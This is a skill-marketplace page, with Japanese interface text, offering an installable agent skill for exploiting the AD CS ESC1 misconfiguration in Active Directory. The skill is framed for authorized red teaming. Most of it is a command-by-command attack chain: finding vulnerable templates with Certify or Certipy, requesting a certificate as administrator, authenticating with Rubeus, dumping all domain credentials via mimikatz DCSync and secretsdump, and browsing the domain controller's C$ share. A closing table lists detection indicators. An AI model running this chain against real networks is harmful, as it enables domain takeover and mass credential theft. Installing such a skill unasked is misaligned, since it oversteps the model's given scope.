メニュー
Exploit misconfigured Active Directory Certificate Services (AD CS) ESC1 vulnerability to request certificates as high-privileged users and escalate domain privileges during authorized red team assessments.
デフォルトでは、最初にソースを確認する Prompt が選択されています。直接コマンドに切り替えるか、ローカルコピーをダウンロードすることもできます。
インストールを決める前に、SKILL.md と SkillsMP に表示されている付属ファイルをお読みください。
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
直接コマンドでは確認用 Prompt が省略されます。実行前にソースを確認してください。
npx skills add https://github.com/Undermybelt/hermes-skills --skill act-dir-cert-serv-esc1コマンドは1行のまま表示されます。コピー前に横へスクロールして全体を確認してください。
ローカルで確認しますか？SkillsMP が現在取得できるファイルをダウンロードできます。
Use when retiring old logic, collapsing duplicate owners, removing fallbacks, or touching schema, persistence, or source-of-truth boundaries while deciding whether to delete old paths, retain compatibility, or stop for confirmation.
Use when defining new features, product behavior, UI/component design, architecture choices, contract changes, or ambiguous medium/high-complexity work before implementation.
Use when the user asks for caveman mode, fewer tokens, brief responses, compressed communication, or otherwise explicitly requests a much shorter answer.
SOC 職業分類に基づく
SKILL.md を表示中
| name | act-dir-cert-serv-esc1 |
| description | Exploit misconfigured Active Directory Certificate Services (AD CS) ESC1 vulnerability to request certificates as high-privileged users and escalate domain privileges during authorized red team assessments. |
| domain | cybersecurity |
| subdomain | red-teaming |
| tags | ["red-team","active-directory","ad-cs","esc1","certificate-abuse","privilege-escalation","domain-escalation"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
| d3fend_techniques | ["File Metadata Consistency Validation","Certificate Analysis","Content Format Conversion","File Content Analysis","Platform Hardening"] |
| nist_csf | ["ID.RA-01","GV.OV-02","DE.AE-07"] |
ESC1 (Escalation Scenario 1) is a critical misconfiguration in Active Directory Certificate Services where a certificate template allows a low-privileged user to request a certificate on behalf of any other user, including Domain Admins. The vulnerability exists when a template has the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag enabled (also called "Supply in Request"), combined with an Extended Key Usage (EKU) that permits client authentication (Client Authentication, PKINIT Client Authentication, Smart Card Logon, or Any Purpose). This allows an attacker to specify an arbitrary Subject Alternative Name (SAN) in the certificate request, effectively impersonating any domain user. ESC1 was documented by SpecterOps researchers Will Schroeder and Lee Christensen in their "Certified Pre-Owned" whitepaper (2021) and remains one of the most common AD CS attack paths. The MITRE ATT&CK framework tracks this as T1649 (Steal or Forge Authentication Certificates).
# Using Certify (Windows)
Certify.exe cas
# Using Certipy (Linux/Python)
certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1
# Using Certify - find vulnerable templates
Certify.exe find /vulnerable
# Using Certipy - outputs JSON and text reports
certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1 -vulnerable
msPKI-Certificate-Name-Flag contains ENROLLEE_SUPPLIES_SUBJECTpkiExtendedKeyUsage contains Client Authentication or Smart Card LogonmsPKI-Enrollment-Flag does not require manager approval# Using Certify (Windows)
Certify.exe request /ca:DC01.domain.local\domain-CA /template:VulnerableTemplate /altname:administrator
# Using Certipy (Linux)
certipy req -u user@domain.local -p 'Password123' -ca 'domain-CA' -target DC01.domain.local -template VulnerableTemplate -upn administrator@domain.local
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
# Using Rubeus (Windows)
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pfx-password> /ptt
# Using Certipy (Linux)
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
# DCSync to dump all domain credentials
mimikatz.exe "lsadump::dcsync /domain:domain.local /all"
# Or using secretsdump.py with the obtained NT hash
secretsdump.py domain.local/administrator@DC01.domain.local -hashes :ntlmhash
# List domain controllers
dir \\DC01.domain.local\C$
# Access Domain Admin shares
dir \\DC01.domain.local\SYSVOL
| Tool | Purpose | Platform |
|---|---|---|
| Certify | AD CS enumeration and certificate requests | Windows (.NET) |
| Certipy | AD CS enumeration, request, and authentication | Linux (Python) |
| Rubeus | Kerberos authentication with certificates (PKINIT) | Windows (.NET) |
| Mimikatz | Credential dumping post-escalation | Windows |
| secretsdump.py | Remote credential dumping (Impacket) | Linux (Python) |
| PSPKIAudit | PowerShell AD CS auditing module | Windows |
| ForgeCert | Certificate forgery tool | Windows (.NET) |
| Condition | Vulnerable Value |
|---|---|
| msPKI-Certificate-Name-Flag | ENROLLEE_SUPPLIES_SUBJECT (1) |
| pkiExtendedKeyUsage | Client Authentication (1.3.6.1.5.5.7.3.2) |
| Enrollment Rights | Domain Users or Authenticated Users |
| msPKI-Enrollment-Flag | No manager approval required |
| CA Setting | No approval workflow enforced |
| Indicator | Detection Method |
|---|---|
| Certificate request with SAN different from requester | Windows Event 4886 / 4887 on CA server |
| Unusual PKINIT authentication | Event 4768 with certificate-based pre-auth |
| Certify.exe or Certipy execution | EDR process monitoring and command-line logging |
| Mass certificate template enumeration | LDAP query monitoring for pkiCertificateTemplate objects |
| Certificate issued to non-matching UPN | CA audit logs and certificate transparency |